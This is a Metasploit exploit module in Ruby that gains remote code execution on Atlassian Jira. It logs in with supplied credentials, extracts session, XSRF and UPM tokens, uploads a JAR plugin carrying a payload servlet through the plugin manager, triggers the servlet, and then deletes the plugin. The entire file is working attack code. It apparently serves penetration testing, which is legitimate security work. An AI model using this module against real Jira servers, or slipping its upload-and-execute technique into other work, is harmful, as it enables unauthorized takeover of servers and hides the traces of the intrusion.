##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Atlassian Jira Authenticated Upload Code Execution',
'Description' => %q{
This module can be used to execute a payload on Atlassian Jira via
the Universal Plugin Manager(UPM). The module requires valid login
credentials to an account that has access to the plugin manager.
The payload is uploaded as a JAR archive containing a servlet using
a POST request against the UPM component. The check command will
test the validity of user supplied credentials and test for access
to the plugin manager.
},
'Author' => 'Alexander Gonzalez(dubfr33)',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/'],
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/'],
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/']
],
'Platform' => %w[java],
'Targets' =>
[
['Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
]
],
'DisclosureDate' => 'Feb 22 2018'))
register_options(
[
Opt::RPORT(2990),
OptString.new('HttpUsername', [true, 'The username to authenticate as', 'admin']),
OptString.new('HttpPassword', [true, 'The password for the specified username', 'admin']),
OptString.new('TARGETURI', [true, 'The base URI to Jira', '/jira/'])
])
end
def check
login_res = query_login
if login_res.nil?
vprint_error('Unable to access the web application!')
return CheckCode::Unknown
end
return CheckCode::Unknown unless login_res.code == 200
@session_id = get_sid(login_res)
@xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')['content']
auth_res = do_auth
good_sid = get_sid(auth_res)
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
res = query_upm(good_cookie)
if res.nil?
vprint_error('Unable to access the web application!')
return CheckCode::Unknown
elsif res.code == 200
return Exploit::CheckCode::Appears
else
vprint_status('Something went wrong, make sure host is up and options are correct!')
vprint_status("HTTP Response Code: #{res.code}")
return Exploit::CheckCode::Unknown
end
end
def exploit
unless access_login?
fail_with(Failure::Unknown, 'Unable to access the web application!')
end
print_status('Retrieving Session ID and XSRF token...')
auth_res = do_auth
good_sid = get_sid(auth_res)
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
res = query_for_upm_token(good_cookie)
if res.nil?
fail_with(Failure::Unknown, 'Unable to retrieve UPM token!')
end
upm_token = res.headers['upm-token']
upload_exec(upm_token, good_cookie)
end
# Upload, execute, and remove servlet
def upload_exec(upm_token, good_cookie)
contents = ''
name = Rex::Text.rand_text_alpha(8..12)
atlassian_plugin_xml = %Q{
<atlassian-plugin name="#{name}" key="#{name}" plugins-version="2">
<plugin-info>
<description></description>
<version>1.0</version>
<vendor name="" url="" />
<param name="post.install.url">/plugins/servlet/metasploit/PayloadServlet</param>
<param name="post.upgrade.url">/plugins/servlet/metasploit/PayloadServlet</param>
</plugin-info>
<servlet name="#{name}" key="metasploit.PayloadServlet" class="metasploit.PayloadServlet">
<description>"#{name}"</description>
<url-pattern>/metasploit/PayloadServlet</url-pattern>
</servlet>
</atlassian-plugin>
}
# Generates .jar file for upload
zip = payload.encoded_jar
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)
servlet = MetasploitPayloads.read('java', '/metasploit', 'PayloadServlet.class')
zip.add_file('/metasploit/PayloadServlet.class', servlet)
contents = zip.pack
boundary = rand_text_numeric(27)
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"plugin\"; "
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/x-java-archive\r\n\r\n"
data << contents
data << "\r\n--#{boundary}--"
print_status("Attempting to upload #{name}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rest/plugins/1.0/'),
'vars_get' =>
{
'token' => "#{upm_token}"
},
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Cookie' => good_cookie.to_s
}
}, 25)
unless res && res.code == 202
print_status("Error uploading #{name}")
print_status("HTTP Response Code: #{res.code}")
print_status("Server Response: #{res.body}")
return
end
print_status("Successfully uploaded #{name}")
print_status("Executing #{name}")
Rex::ThreadSafe.sleep(3)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/metasploit/PayloadServlet'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})
print_status("Deleting #{name}")
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, "rest/plugins/1.0/#{name}-key"),
'method' => 'DELETE',
'cookie' => good_cookie.to_s
})
end
def access_login?
res = query_login
if res.nil?
fail_with(Failure::Unknown, 'Unable to access the web application!')
end
return false unless res && res.code == 200
@session_id = get_sid(res)
@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
return true
end
# Sends GET request to login page so the HTTP response can be used
def query_login
send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))
end
# Queries plugin manager to verify access
def query_upm(good_cookie)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/upm'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})
end
# Queries API for response containing upm_token
def query_for_upm_token(good_cookie)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})
end
# Authenticates to webapp with user supplied credentials
def do_auth
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'),
'method' => 'POST',
'cookie' => "atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}",
'vars_post' => {
'os_username' => datastore['HttpUsername'],
'os_password' => datastore['HttpPassword'],
'os_destination' => '',
'user_role' => '',
'atl_token' => '',
'login' => 'Log+In'
}
})
end
# Finds SID from HTTP response headers
def get_sid(res)
if res.nil?
return '' if res.blank?
end
res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
end
end